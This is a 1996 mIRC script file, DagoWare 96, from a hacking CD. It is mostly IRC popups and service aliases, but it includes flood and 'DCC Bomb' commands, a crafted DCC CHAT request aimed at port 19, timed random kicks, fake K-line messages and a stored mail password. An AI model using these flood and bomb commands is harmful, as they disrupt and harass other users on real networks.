home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / SCRIPTZ / DAGOWARE.ZIP / DAGOWARE.INI
INI File  |  1996-12-17  |  30KB  |  665 lines
  1. [mPopup]
  2. n0=-=DagoWare 96=-:/ame is currently using DagoWare 96 made by Dago. | /ame To get this script, please contact "Dago or Send Email To:dago@hotmail.com".
  3. n1=Close Windows
  4. n2=.Chat:/close -c $?="Enter Nick"
  5. n3=.Fserv:/close -f $?="Enter Nick"
  6. n4=.Get:/close -g $?="Enter Nick"
  7. n5=.Send:/close -s $?="Enter Nick"
  8. n6=.Inactive:/close -i $?="Enter Nick"
  9.  
  10. [qPopup]
  11. n0=Mail Stuff <Only Works When Connected To Mail Server>
  12. n1=.See E-Mail:/seemail
  13. n2=.Get EMail:/getmail 1
  14. n3=.Quit E-Mail:/quitmail
  15. n4=Ignore
  16. n5=.Ignore:/ignore $$* | /msg $nick $upper($nick), You have been added to the ignore list of $me  ÖÖ REASON: ÖÖ $?="Enter reason" ÖÖ | /msg # $upper($$1) Has been added to the IGNORE list of Fugi.
  17. n6=.Remove:/msg # $upper($$1) has been removed from the IGNORE list of $me! $upper($$1) is lucky. | /ignore -r $$1
  18. n7=UCentral:/uwho $$1
  19. n8=Whois:/whois $$1
  20. n9=CTCP
  21. n10=.Ping:/ctcp $$1 ping
  22. n11=.Finger:/ctcp $$1 finger
  23. n12=.Version:/ctcp $$1 version
  24. n13=.Time:/ctcp $$1 time
  25. n14=.Userinfo:/ctcp $$1 userinfo
  26. n15=.ClientInfo:/ctcp $$1 clientinfo
  27. n16=DCC
  28. n17=.Send:/dcc send $$1
  29. n18=.Chat:/dcc chat $$1
  30. n19=-
  31. n20=Flooding
  32. n21=.Master Flood
  33. n22=..Start:/raw -q privmsg $?="Enter nickname to FLOOD!" :DCC CHAT CHAT 3453550597 19 | /echo 4 $active Flooding $$1... You won't be able to tell. ┼cmú-ºcrφ■t
  34. n23=..!!!!! DO NOT USE THIS FLOOD ON Dago !!!!!:/echo 4 $active You heard me. No flooding Dago. 12-=DagoWare 96=-
  35. n24=.Nick Flood
  36. n25=..Start:/timer5 100 1 /nick $rand(1,999)
  37. n26=..Halt:/timer5 off
  38. n27=.DCC Bomb
  39. n28=..Start:/timer6 999 1 /dcc chat $?="Enter person to DCC bomb."
  40. n29=..Halt:/timer6 off
  41.  
  42. [cPopup]
  43. n0=-=DagoWare 96=-:/ame is currently using 12-=DagoWare 96=- made by Dago. | /ame To get this script, please contact "Dago or Send Email To:9dago@hotmail.com".
  44. n1=-
  45. n2=Mail Stuff
  46. n3=.Check Email:/mailcheck
  47. n4=.Email Options:/mailoptions
  48. n5=.Quit E-Mail:/quitmail
  49. n6=Channel Stuff
  50. n7=.Channel Stats:/cstat
  51. n8=Ban Stuff
  52. n9=.Banlist:/set %banlist 1 | /set %bancount 0 | /mode # +b
  53. n10=.Unban all:/set %banlist 1 | /set %unbanall 1 | /mode # +b
  54. n11=Voting!
  55. n12=Vote:/poll | /timer 1 60 /say 60 oNLY 60 Sec. LeFT To VoTe!! | /timer 1 120 polloff
  56. n13=Away Stuff!
  57. n14=.Set:/set %minutes 0 | /timer1 0 60 /inc %minutes 1 | /set %away $?="Enter away message"12-=DagoWare 96=- | /ame is away - %away  12-=DagoWare 96=- | /enable #away
  58. n15=.Back:/timer1 off | /ame is back! 12-=DagoWare 96=- | /away | /disable #away 
  59. n16=.Pager
  60. n17=..On:/ame is away, <ò>4 /ctcp $me page <ò> to yell at me 12-=DagoWare 96=- | /enable #pagersay | /enable 
  61. n18=..Off:/ame is back | /away | /disable #pagersay | /disable #pager
  62. n19=-
  63. n20=DALnet
  64. n21=.Join
  65. n22=..Choose:/join $?="Please enter the channel you wish to join:"
  66. n23=..#mIRC:/join #mIRC
  67. n24=..#Help:/join #Help
  68. n25=..#IRChelp:/join #IRChelp
  69. n26=..#DALHelp:/join #DALHelp
  70. n27=..#mIRC_Scripts:/join #mIC_Scripts
  71. n28=.Servers
  72. n29=..Random
  73. n30=...irc.dal.net:/server irc.dal.net 7000
  74. n31=..United States
  75. n32=...uncc.dal.net:/server uncc.dal.net 7000
  76. n33=..Canada
  77. n34=...toronto.dal.net:/server toronto.dal.net 7000
  78. n35=.General
  79. n36=..Nickname:/raw -q nick $?="Please enter your new nick here:"
  80. n37=.Services
  81. n38=..ChanServ:/msg ChanServ $?="Please enter a command:"
  82. n39=..NickServ:/msg NickServ $?="Please enter a command:"
  83. n40=..MemoServ
  84. n41=...MemoServ:/msg MemoServ $?="Please enter a command:"
  85. n42=...help:/msg MemoServ $?="Enter topic to search for help on:"
  86. n43=...send:/msg MemoServ send $$1 $$?="Enter a message to send:"
  87. n44=...read:/msg MemoServ read $?="Enter a memo number to read:"
  88. n45=...delete:/msg MemoServ del $?="Enter a memo number to mark as not deleted:"
  89. n46=...undelete:/msg MemoServ undel $?="Enter a memo number to mark as deleted:"
  90. n47=...masskick:/msg ChanServ mkick #$$?="Enter channel name to masskick everyone from:"
  91. n48=...massdeop:/msg ChanServ mdeop #$$?="Enter channel name to massdeop all lower level ops from:"
  92. n49=...forward:/msg MemoServ forward $$?="Enter a nick to forward memos to:"
  93. n50=...purge:/msg MemoServ purge
  94. n51=...list:/msg MemoServ list 
  95. n52=..HelpServ:/msg HelpServ $?="Please enter a topic to search for help on:"
  96. n53=-
  97. n54=Change Mode
  98. n55=.Invite Only
  99. n56=..On:/mode # +i
  100. n57=..Off:/mode # -i
  101. n58=.Limited # of poeple
  102. n59=..On:/mode # +l $?="Limit to how many users:"
  103. n60=..Off:/mode # -l
  104. n61=.Private Channel
  105. n62=..On:/mode # +p
  106. n63=..Off:/mode # -p
  107. n64=.Secret Channel
  108. n65=..On:/mode # +s
  109. n66=..Off:/mode # -s
  110. n67=.PassWord Needed
  111. n68=..On:/mode # +k $?="Enter the key/password:"
  112. n69=..Off:/mode # -k
  113. n70=.Moderated Channel
  114. n71=..On:/mode # +m
  115. n72=..Off:/mode # -m
  116. n73=.No ext. Messages
  117. n74=..On:/mode # +n
  118. n75=..Off:/mode # -n
  119. n76=.Only OPS Change Topic
  120. n77=..On:/mode # +t
  121. n78=..Off:/mode # -t
  122. n79=-
  123. n80=Send CTCP
  124. n81=.Ping:/ctcp $?="Enter person to PING" ping
  125. n82=.Finger:/ctcp $?="Enter person to FINGER" finger
  126. n83=.Version:/ctcp $?="Enter person to VERSION" version
  127. n84=.Time:/ctcp $?="Enter person to TIME" time
  128. n85=.Userinfo:/ctcp $?="Enter person to USERINFO" userinfo
  129. n86=.ClientInfo:/ctcp $?="Enter person to CLIENTINFO" clientinfo
  130. n87=.Page:/ctcp $?="Enter person to PAGE" page
  131. n88=Send DCC
  132. n89=.Send:/dcc send $?="Enter person DCC SEND a file to."
  133. n90=.Chat:/dcc chat $?="Enter person CHAT with."
  134. n91=-
  135. n92=Fun Stuff
  136. n93=.Tell Everyone The Time:/tim2
  137. n94=.Uppercase Text:/say $upper($?="Enter Text.")
  138. n95=.Lowercase Text:/say $lower($?="Enter Text.")
  139. n96=.MassPing:/ctcp # PING | /msg # .,-*'^'*-,._.,-*'^'*-,._.,-*'^'*-.,_,.-*'^'*-,._.,-*'^'*-,._.,-*'^'*- | /msg # Mass Ping by $me! | /msg # .,-*'^'*-,._.,-*'^'*-,._.,-*'^'*-.,_,.-*'^'*-,._.,-*'^'*-,._.,-*'^'*-
  140. n97=.UnknownOP:/mode # +l 69 | /mode # -lo+o $me $me
  141. n98=.Random Op/Deop
  142. n99=..Random DeOp:/msg # Rσ±D⌠M DEOP!! ( %AA ) | /mode # -o $opnick($rand(1,$opnick(0,#)),#)
  143. n100=..Random Op:/msg # Rσ±D⌠M OP!! ( %AA ) | /mode # +o $nopnick($rand(1,$nopnick(0,#)),#)
  144. n101=.Random Kick
  145. n102=..NonOps:/kick # $nopnick($rand(1,$nopnick(0,#)),#) Rσ±D⌠M NonOp V∩⌡LΘ±╟δ K∩╟K ( %AA )
  146. n103=..Ops:/kick # $opnick($rand(1,$opnick(0,#)),#) Rσ±D⌠M Op V∩⌡LΘ±╟δ K∩╟K ( %AA )
  147. n104=..All:/kick # $nick($rand(1,$nick(0,#)),#) Rσ±D⌠M V∩⌡LΘ±╟δ K∩╟K ( %AA )
  148. n105=.Timed
  149. n106=..Timed (NonOps)
  150. n107=...Start:/timer72 0 240 /kick # $nopnick($rand(1,$nopnick(0,#)),#) Timed Rσ±D⌠M NonOp V∩⌡LΘ±╟δ K∩╟K
  151. n108=...Stop:/timer72 off
  152. n109=..Timed (Ops)
  153. n110=...Start:/timer72 0 240 /kick # $opnick($rand(1,$opnick(0,#)),#) Timed Rσ±D⌠M Op V∩⌡LΘ±╟δ K∩╟K
  154. n111=...Stop:/timer72 off
  155. n112=..Timed (All)
  156. n113=...Start:/timer72 0 240 /kick # $nick($rand(1,$nick(0,#)),#) Timed Rσ±D⌠M ALL V∩⌡LΘ±╟δ K∩╟K
  157. n114=...Stop:/timer72 off
  158. n115=Be a Meanie!
  159. n116=.Trout:/me slaps $?="Enter Person to Slap" around a bit with a large trout.
  160. n117=.Wrench:/me slaps $?="Enter Person to Slap" a bit with a large wrench
  161. n118=.Flip off user:/me gives $?="Enter Person to Fip Off" the bird.
  162. n119=.Byte:/me bytes $?="Enter Person to Byte." untill he leaves.
  163. n120=.Shoot:/me shoots $?="Enter Person to Shoot" with a 22-magnum.
  164. n121=.Push User:/me pushes $?="Enter Person to Push" off a 1000 mile cliff.
  165. n122=Other Stuff
  166. n123=.Play Wav:/sound $?="Enter Wav With .wav"
  167. n124=.Join Channle:/join #$?="Enter Channel W/o #"
  168. n125=.Room Ping:/ctcp #$?="Enter Chan W/o #" Ping
  169. n126=Get list of Channels:/list
  170. n127=Get Message of the Day:/motd
  171. n128=INFO on Active Channel:/channel
  172. n129=-
  173. n130=Disconnect From Server:/quit 12-=DagoWare 96=- made by Dago.
  174. n131=Exit mIRC:/exit
  175.  
  176. [lPopup]
  177. n0=DNS:dns $$1
  178. n1=Whois:wh $$1
  179. n2=Query:/query $$1
  180. n3=UCentral:/uwho $1
  181. n4=-
  182. n5=Talk
  183. n6=.Say Something Directly To Someone:/say 13,1 $$1  $?="Enter Message" 
  184. n7=Op
  185. n8=.MassOp:/mode # +oooo *1 | /mode # +oooo *5 | /mode # +oooo *9 | /mode # +oooo *13
  186. n9=.Ban/kick:/ban # $$1 1 | /timer 1 3 /kick # $$1 Banned. 12-=DagoWare 96=-
  187. n10=.MassOp:/msg # Mass op by $me! GAL-ºcrφ■t | /mode # +oooo *1 | /mode # +oooo *5 | /mode # +oooo *9 | /mode # +oooo *13
  188. n11=.Crown:/me crowns $upper($$1) with an all poweful @! | /mode # +o $$1
  189. n12=.WOW!:/msg $chan WOW! It's $$1!!!!!! | /me tosses $$1 an @!!! Please catch! | /mode # +o $$1
  190. n13=.Tripped:/me is carrying an @ around the room. | /me trips and the @ goes flying through the air! | /msg $chan $$1 caught it! | /mode # +o $$1
  191. n14=.Hand:/me slosly hands $$1 an @. | /msg # Don't abuse it! | /mode # +o $$1
  192. n15=.Heistate:/me hesitates before OPING $$1. | /msg # Oh what the heck! | /mode # +o $$1 
  193. n16=.Poor OP:/me looks at $$1 and notices he/she want's OP! | /me says: POOR THING! :o) | /mode # +o $$1
  194. n17=Deop
  195. n18=.MassDeop:/notice # Mass DeOp Performed by $me! | /mode # -oooo *1 | /mode # -oooo *5 | /mode # -oooo *9 | /mode # -oooo *13
  196. n19=.Knock off head:/describe # knocks the @ off $$1. SORRY. | /mode # -o $$1
  197. n20=.Notice:/me notices something suspicious about $$1. | /me hits $$1 so hard, the @ falls off him. | /mode # -o $$1
  198. n21=.Look at wierd:/me looks at $$1 in a weird way. | /msg # $upper($$1) IS A LAMER! | /mode # -o $$1
  199. n22=Voice
  200. n23=.Give:/mode # +v $$*
  201. n24=.Take:/mode # -o $$*
  202. n25=Kicking
  203. n26=.MassKick:/kick # $* Mass Kick!
  204. n27=.Smelly:/describe # smells something.... | /msg # What could it be? | /kick # $$1 You smell. 12-=DagoWare 96=-
  205. n28=.Pervert:/msg # $nick is a pervert!  | /kick # $$1 You stupid Pervert! 12-=DagoWare 96=-
  206. n29=.Anoying:/msg # $nick is getting on my nerves. | /kick # $$1 Weirdo. 12-=DagoWare 96=-
  207. n30=.Weird:/kick # $$1 Blastoff!!!! Weirdo.12-=DagoWare 96=-
  208. n31=.Regular Kick:/kick # $$112-=DagoWare 96=-
  209. n32=CTCP
  210. n33=.Ping:/ctcp $$1 ping
  211. n34=.Finger:/ctcp $$1 finger
  212. n35=.Version:/ctcp $$1 version
  213. n36=.Time:/ctcp $$1 time
  214. n37=.Userinfo:/ctcp $$1 userinfo
  215. n38=.ClientInfo:/ctcp $$1 clientinfo
  216. n39=DCC
  217. n40=.Send:/dcc send $$1
  218. n41=.Send DagoWare.zip:/dcc send $$1 T:\Scripts\dagoware.zip
  219. n42=.Chat:/dcc chat $$1
  220. n43=-
  221. n44=Fake stuff
  222. n45=.Fake OP:/describe # sets mode: +o $$1
  223. n46=.Fake DEOP:/describe # sets mode: -o $$1
  224. n47=.Fake KILL:/me ( $+ $ip $+ ) has quit IRC (Killed (phoenix.tx.us.DAL.net (voyager.ca.us.DAL.net <- services.dal.net[207.43.0.130]))
  225. n48=.Fake K-Line:/me has quit IRC (K-Lined (ogre (<5> You have been K-Lined.) *!*@ $+ $ip <- K-Lined))
  226. n49=.Fake DisConnect:/me ( $+ $ip $+ ) has quit IRC (12-=DagoWare 96=-)
  227.  
  228. [Aliases]
  229. n0=mailoptions {
  230. n1=  set %autoget $?="Autoget mail on connect? (Y/N)"
  231. n2=  if %autoget == $null { set %autoget Y }
  232. n3=  set %forgetpass $?="Forget password? (Y/N)"
  233. n4=  if (%forgetpass == $null) { set %forgetpass Y }
  234. n5=  if (%forgetpass == Y) { unset %pop.pass }
  235. n6=  echo 4 $active Options are set :  Autoget mail on connect : %autoget and Forget Password : %forgetpass
  236. n7=}
  237. n8=mailcheck {
  238. n9=  { set %pop.host $$?="What host to use (ip-number)" }
  239. n10=  { set %pop.user $$?="Username?" }
  240. n11=  { set %pop.pass $$?="Password?" }
  241. n12=  .creq auto
  242. n13=  .enable #mail
  243. n14=  set %mail.n $me
  244. n15=  raw -q privmsg $me : $+ $chr(1) $+ DCC CHAT CHAT $longip(%pop.host) 110 $+ $chr(1)
  245. n16=}
  246. n17=seemail {
  247. n18=  if (%mail.win == $null) { echo 4 $active Not connected to mail server | halt }
  248. n19=  if ($1 == $null) { echo 4 %mail.win *** Syntax : /seemail <message-number $chr(124) all> }
  249. n20=  elseif ($1 == all) { set %mail.counter 1 | getmail | .timer653 0 5 getmail }
  250. n21=  else { msg = $+ %mail.n RETR $1 }
  251. n22=}
  252. n23=getmail { 
  253. n24=  if (%mail.counter <= %mail.messages) { msg = $+ %mail.n RETR %mail.counter | inc %mail.counter }
  254. n25=  else { .timer653 off | unset %mail.counter }
  255. n26=}
  256. n27=quitmail { msg = $+ %mail.n quit }
  257. n28=/onquit {
  258. n29=  .timer750 1 30 /unset %split
  259. n30=  .timer751 1 30 /unset %splitlist
  260. n31=  if (($right(7,$parm1) == dal.net) && ($right(7,$parm2) == dal.net)) {
  261. n32=    set %split2 $token(1,46,$parm2)
  262. n33=    set %split $token(1,46,$parm1)
  263. n34=    if %split !isin %splitlist {
  264. n35=      set %splitlist %splitlist %split
  265. n36=      amsg Netsplit:  $+ %split $+ |-| $+ %split2 $+   12-=[DagoWare 96]=-
  266. n37=    }
  267. n38=  }
  268. n39=}
  269. n40=/cstat /set %chanst on | /set %hops 0 | /set %anum 0 | /set %opnum 0 | /set %unum 0 | /set %ircops 0 | /set %nopnum 0 | /set %clones 0 | /set %addies | /set %here 0 | /who #
  270. n41=/poll {
  271. n42=  /set %question $$?="Enter the question:"  
  272. n43=  /enable #polls 
  273. n44=  /notice $chan The PoLLs ArE oPeN [The question is..... $+ %question $+ ] type "!yes" for yes and "!no" for no 
  274. n45=  /notice $chan the polls will close in 2 mins....... 
  275. n46=}
  276. n47=/polloff {
  277. n48=  /disable #polls
  278. n49=  /notice $chan The PoLLs ArE cLoseD!! The votes are being counted......... %popver
  279. n50=  if (%yes > %no) goto yes
  280. n51=  if (%yes < %no) goto no
  281. n52=  if (%yes = %no) goto equal
  282. n53=  :yes
  283. n54=  /notice $chan on the Q=- $+ %question $+ -= YeS's = [ $+ %yes $+ ] and  No'S = [ $+ %no $+ ] 
  284. n55=  /notice $chan MaJoriTY VoTeD YeS!!!! 
  285. n56=  goto end
  286. n57=  :no
  287. n58=  /notice $chan on the Q=- $+ %question $+ -= YeS's = [ $+ %yes $+ ] and  No'S = [ $+ %no $+ ] 
  288. n59=  /notice $chan MaJoriTY VoTeD No!!!! 
  289. n60=  goto end
  290. n61=  :equal
  291. n62=  /notice $chan on the Q=- $+ %question $+ -= YeS's = [ $+ %yes $+ ] and  No'S = [ $+ %no $+ ] 
  292. n63=  /notice $chan THeRe'S a LocK UP!!!! 
  293. n64=  :end
  294. n65=  /set %no 0
  295. n66=  /set %yes 0
  296. n67=  /unset %notagain
  297. n68=}
  298. n69=-=DALNET=-
  299. n70=/sdal /server irc.dal.net 7000
  300. n71=/sdalt /server toronto.dal.net 7000
  301. n72=/jdr /join #mIRC
  302. n73=/jh /join #help
  303. n74=/jih /join #IRChelp
  304. n75=/jdh /join #DALHelp
  305. n76=/jt /join #mIRC_Scripts
  306. n77=/nick /raw -q nick *1
  307. n78=/ns /msg NickServ *1
  308. n79=/cs /msg ChanServ *1
  309. n80=/memo /msg MemoServ *1
  310. n81=/ms /msg MemoServ *1
  311. n82=/help /msg HelpServ *1
  312. n83=;
  313. n84=-=NickServ=-
  314. n85=/nshelp /msg NickServ help $$?="Enter a topic to search for help on:"
  315. n86=/nsreg /msg NickServ register $$?="Enter new password for this nickname:"
  316. n87=/nsacc /msg NickServ access list $$?="Enter nickname to view/edit masks for:"
  317. n88=/nsadd /msg NickServ access add $$?="Enter user@host mask:"
  318. n89=/nsdel /msg NickServ access del $$?="Enter user@host mask:"
  319. n90=/nsid /msg NickServ identify $$?="Enter your password:"
  320. n91=/nsrec /ns NickServ recover $$?="Enter nickname to recover:"
  321. n92=/nsgh /msg NickServ ghost $$?="Enter nickname to ghost:"
  322. n93=/nsdr /msg NickServ drop $$?="Enter nickname to drop:"
  323. n94=/nspass /msg NickServ set passwd $$?="Enter a new password:"
  324. n95=/nskill /msg NickServ set kill $$?="Set nickname kills ON or OFF:"
  325. n96=/nsurl /msg NickServ set url $$?="Set URL to show where more information about the nick may be found:"
  326. n97=/nsrel /msg NickServ release $$?="Enter nickname to release:"
  327. n98=/nsinfo /msg NickServ info $$?="Enter a registered nickname:"
  328. n99=/nsacc2 /msg NickServ acc $$?="Enter nickname to search access level for:"
  329. n100=/nslist /msg NickServ list $$?="Enter search pattern:"
  330. n101=;
  331. n102=-=ChanServ=-
  332. n103=/cshelp /msg ChanServ help $$?="Enter topic to search for help on:"
  333. n104=/csreg /msg ChanServ register #$$?="Enter channel name, password and description:"
  334. n105=/cssadd /msg ChanServ sop add #$$?="Enter channel name and nick or mask:"
  335. n106=/cssdel /msg ChanServ sop del #$$?="Enter channel name and nick or mask:
  336. n107=/csslist /msg ChanServ sop list #$$?="Enter channel name and search pattern:"
  337. n108=/csaadd /msg ChanServ aop add #$$?="Enter channel name and nick or mask:"
  338. n109=/csadel /msg ChanServ aop del #$$?="Enter channel name and nick or mask:
  339. n110=/csalist /msg ChanServ aop list #$$?="Enter channel name and search pattern:"
  340. n111=/csakadd /msg ChanServ akick add #$$?="Enter channel name and nick or mask:
  341. n112=/csakdel /msg ChanServ akick del #$$?="Enter channel name and nick or mask:
  342. n113=/csaklist /msg ChanServ akick list #$$?="Enter channel name and search pattern:"
  343. n114=/csdr /msg ChanServ drop #$$?="Enter channel name to release from ChanServ:"
  344. n115=/csid /msg ChanServ identify #$$?="Enter channel name and password:"
  345. n116=/csacc /msg ChanServ access #$$?="Enter channel name to query:"
  346. n117=/csop /msg ChanServ op #$$?="Enter channel name and nickname:"
  347. n118=/csdop /msg ChanServ deop #$$?="Enter channel name and nickname:"
  348. n119=/csubme /msg ChanServ unbanme #$$?="Enter channel name for unban:"
  349. n120=/csuball /msg ChanServ unbanall #$$?="Enter channel name to remove all bans from:"
  350. n121=/csinfo /msg ChanServ info #$$?="Enter channel name:"
  351. n122=/csinv /msg ChanServ invite #$$?="Enter channel name and nick to invite:"
  352. n123=/cslist /msg ChanServ list $$?="Enter channel name and search pattern"
  353. n124=/csfndr /msg ChanServ set founder #$$?="Enter channel name and mask:"
  354. n125=/cspass /msg ChanServ set passwd #$$?="Enter channel name and new password:"
  355. n126=/csdesc /msg ChanServ set desc #$$?="Enter channel name and new description:"
  356. n127=/csmlock /msg ChanServ set mlock #$$?="Enter channel and modelock mask ntispklm:"
  357. n128=/csopg /msg ChanServ set opguard #$$?="Enter channel name and ON or OFF:"
  358. n129=/csktop /msg ChanServ set keeptopic #$$?="Enter channel name and ON or OFF:"
  359. n130=/csurl /msg ChanServ set url #$$?="Enter channel name and URL to indicate where more information on the channel may be found:"
  360. n131=/cstlock /msg ChanServ set topiclock #$$?="Enter channel name and FOUNDER, SOP or OFF:"
  361. n132=/cslvops /msg ChanServ set leaveops #$$?="Enter channel name and ON or OFF:"
  362. n133=/csunsec /msg ChanServ set unsecure #$$?="Enter channel name and ON or OFF:"
  363. n134=/csprv /msg ChanServ set private #$$?="Enter channel name and ON or OFF:"
  364. n135=/csmk /msg ChanServ mkick #$$?="Enter channel name to masskick everyone from:"
  365. n136=/csmdop /msg ChanServ mdeop #$$?="Enter channel to massdeop all lower level ops from:"
  366. n137=;
  367. n138=-=MemoServ=-
  368. n139=/mshelp /msg MemoServ $$?="Enter topic to search for help on:"
  369. n140=/msend /msg MemoServ send $$1 $$?="Enter a message to send:"
  370. n141=/msrd /msg MemoServ read $$?="Enter a memo number to read:"
  371. n142=/msdel /msg MemoServ del $$?="Enter a memo number to mark as deleted:"
  372. n143=/msundel /msg MemoServ undel $$?="Enter a memo number to mark as undeleted:"
  373. n144=/msfwd /msg MemoServ forward $$?="Enter a nick to forward memos to:"
  374. n145=/msprg /msg MemoServ purge
  375. n146=/mslist /msg MemoServ list 
  376. n147=/tim2 {
  377. n148=  //msg $active 1,15 1,14 4,1  $+ $rtime 1,14 1,15á 12-=DagoWare 96=-
  378. n149=}
  379. n150=/rtime {
  380. n151=  set %realtime $time
  381. n152=  set %hour $token(1,58,%realtime)
  382. n153=  set %type AM  
  383. n154=  if (%hour = 0) /set %hour 12 
  384. n155=  if (%hour > 12) { /set %hour %hour - 12 | /set %type PM }
  385. n156=  if (%hour = 12) /set %type PM
  386. n157=  set %min $token(2,58,%realtime)
  387. n158=  set %realtime %hour $+ : $+ %min %type
  388. n159=  if (%online = on) /set %online %realtime 
  389. n160=  unset %hour | /unset %min | /unset %type | /return %realtime
  390. n161=}
  391. n162=/clonejoin {
  392. n163=  if $nick != $me {
  393. n164=    set %count 0 | /unset %clonejoin
  394. n165=    :start
  395. n166=    inc %count 1
  396. n167=    if $nick(%count,$chan) == $null goto end
  397. n168=    if $nick == $nick(%count,$chan) goto start
  398. n169=    if $address($nick(%count,$chan),3) == $address($nick,3) set %clonejoin %clonejoin $nick(%count,$chan) &
  399. n170=    goto start
  400. n171=    :end
  401. n172=    if %clonejoin != $null { /set %clonejoin %clonejoin $nick | /msg $chan 12-=4 $+ %clonejoin $+ 12=- are CLONES! | /msg $chan 12-=4 $+ $address($nick,3) $+ 12=- 12-=DagoWare 96=- } 
  402. n173=    unset %count | /unset %clonejoin
  403. n174=  }
  404. n175=}
  405. n176=wh set %whois On | whois $1
  406.  
  407. [Variables]
  408. n0=%amin 35
  409. n1=%awaytime 14:14:33
  410. n2=%tempnick 37
  411. n3=%clonecount 0
  412. n4=%number 3
  413. n5=%clonenick ""
  414. n6=%cloneaddress ""
  415. n7=%pinged 32
  416. n8=%pt 69
  417. n9=%split2 split
  418. n10=%u 24
  419. n11=%x 0
  420. n12=%v 0
  421. n13=%tkillnum 15
  422. n14=%pop.host 205.229.32.2
  423. n15=%pop.user dago
  424. n16=%firstaddress *!*bigbert@*.concentric.net
  425. n17=%firstnick BeTaBoT
  426. n18=%comparenumber 9
  427. n19=%no 0
  428. n20=%yes 0
  429. n21=%cool I Love it!
  430. n22=%comparenick CoolMikey
  431. n23=%act amsg
  432. n24=%len That is pretty Kewl
  433. n25=%i 20
  434. n26=%rsolt 13T12h6a1t6 2i7s11 11p13r4e15t14t13y2 11K8e5w15l
  435. n27=%already ThatisprettyKewl
  436. n28=%compareaddress *!*Li0n@198.190.214.*
  437. n29=%realtime 7:02 PM
  438. n30=%question Hows This Look Good?
  439. n31=%minutes 64
  440. n32=%away BRB Setting up a mIRC 4.7 Bawt! 96=-
  441. n33=%autoget n
  442. n34=%forgetpass n
  443. n35=%pop.pass mama
  444. n36=%Echo.Color 4
  445. n37=%Echo.Style2 ░-ü
  446. n38=%Echo.Style1 ü-░
  447. n39=-%wchannels
  448. n40=%wparms
  449. n41=%xparms
  450. n42=%remove
  451. n43=%fixchars1 ,,
  452. n44=%fixchars2 , ,
  453. n45=-
  454. n46=%Echo.Color 4
  455. n47=%Echo.Style2 ░-ü
  456. n48=%Echo.Style1 ü-░
  457. n49=-
  458. n50=%Nuke Off
  459. n51=%Nuke.Port 6670
  460. n52=%Nuke.Site rvr0133.deltanet.com
  461. n53=%Nuke.Server Chicago.IL.US.Undernet.org
  462. n54=%whois On
  463.  
  464. [Commands]
  465. n0=1:PING:{
  466. n1=  inc %pinged 1
  467. n2=  notice $nick Well don't you feel great! I've been pinged %pinged times including yours.
  468. n3=  echo 4 You were pinged by $nick!
  469. n4=}
  470. n5=1:FINGER:/notice $nick Quit fingering me! Sheeesh! Gross person. 12-=DagoWare 96=- | /halt
  471. n6=1:TIME:/notice $nick I don't wanna tell you my time! You might hack into my computer and steal all my files! You could also give me a virus if I gave you my time! Sheesh. I'm not stupid. :o) 12-=DagoWare 96=-
  472. n7=1:VERSION:/notice $nick I'm using 12-=DagoWare 96=- By:9Dago
  473. n8=1:USERINFO:/notice $nick You have reached a non-working number, please try again later...12-=DagoWare 96=- | /halt
  474. n9=REM 1:CLIENTINFO:/notice $nick Client Info? Grow up. :■ 12-=DagoWare 96=-
  475. n10=1:SERVER:/notice $nick I am on $server. Port $port . 12-=DagoWare 96=-
  476. n11=1:PAGE:/notice $nick Message Received. Thank you. 12-=DagoWare 96=- | /beep
  477. n12=REM 1:page:/beep 3 500 | /notice $me ***** $nick just paged you ***** | /speak $nick just paged you | /notice $nick Hi, I'll answer you a.s.a.p, if I don't within a minute or so please leave a message :-)  12-=DagoWare 96=-
  478. n13=1:ON FILERCVD:/notice $Nick File Send Has Completed! Do Enjoy! 12-=DagoWare 96=-
  479. n14=1:ON DNS:/say $chan
  480. n15=1:CLIENTINFO:notice $nick You are $nick $+ ,calling from $ip - $site - $server - $Port (enough info?) 12-=DagoWare 96=- | halt
  481.  
  482. [Events]
  483. n0=!1:on join:#:/clonejoin
  484. n1=1:ON TEXT:!dago:#:/dcc send $Nick T:\Scripts\dagoware.zip | /notice $Nick Sending 12-=DagoWare 96=- Size:9K
  485. n2=!1:ON TEXT:hello*:?:/msg $Nick 13,1Please Hold...
  486. n3=#mail disabled
  487. n4=1:ON CHATOPEN {
  488. n5=  if ($nick == %mail.n) {
  489. n6=    .creq ask
  490. n7=    if $nick != %mail.n { goto end }
  491. n8=    set %mail.win Dago'sá -12-=DagoWare 96=- 
  492. n9=    set %mail.usergiven done
  493. n10=    msg = $+ %mail.n USER %pop.user
  494. n11=    query %mail.win
  495. n12=    echo 6 %mail.win Welcome to Dago's -12-=DagoWare 96=- - Mail Server
  496. n13=    echo 2 %mail.win -
  497. n14=    echo 2 %mail.win *** Connecting to %pop.host
  498. n15=    echo 2 %mail.win -
  499. n16=    :end
  500. n17=  }
  501. n18=}
  502. n19=1:ON CHAT:* {
  503. n20=  if ($nick == %mail.n) {
  504. n21=    if ($parm1 == +OK) {
  505. n22=      if ($parm3 == POP3) { echo 2 %mail.win *** Connected to $parm2 | echo 2 %mail.win - }
  506. n23=      if ((pass isin $parms) && (%mail.usergiven == done)) { .msg = $+ %mail.n PASS %pop.pass | unset %mail.usergiven | if (%forgetpass == Y) { unset %pop.pass } }
  507. n24=      if (($parm2 == Mailbox) && ($parm3 == open,)) {
  508. n25=        if ($parm4 > 0) { 
  509. n26=          echo 4 %mail.win You have $parm4 message(s) waiting
  510. n27=          msg = $+ %mail.n LIST
  511. n28=          set %mail.messages $parm4
  512. n29=          if (%autoget == Y) { 
  513. n30=            set %mail.counter 1
  514. n31=            getmail
  515. n32=            .timer653 0 5 getmail
  516. n33=          }
  517. n34=        }
  518. n35=        else { echo 4 %mail.win You have no new mail | msg = $+ %mail.n quit }
  519. n36=      }
  520. n37=      if ($parm3 == messages) {
  521. n38=        if ($parm2 > 0) { echo 4 %mail.win You have $parm2 message(s) waiting | set %mail.messages $parm2 | if (%autoget == Y) { set %mail.counter 1 | getmail | .timer653 0 5 getmail } }
  522. n39=        else { echo 4 %mail.win You have no new mail | msg = $+ %mail.n quit } 
  523. n40=      }
  524. n41=    }
  525. n42=    elseif ($parm1 == X-Authentication-Warning:) || ($parm1 == status:) || ($parm1 == X-Mailer:) { halt }
  526. n43=    elseif ($parm1 == received:) || ($parm1 == comments:) || ($parm1 == Received:) || ($parm1 == Priority:) { halt }
  527. n44=    elseif (($parm1 == id:) || ($parm1 == Message-Id:) || ($parm1 == Content-Type:) || ($parms == .)) { halt }
  528. n45=    elseif ($parm1 == -ERR) { 
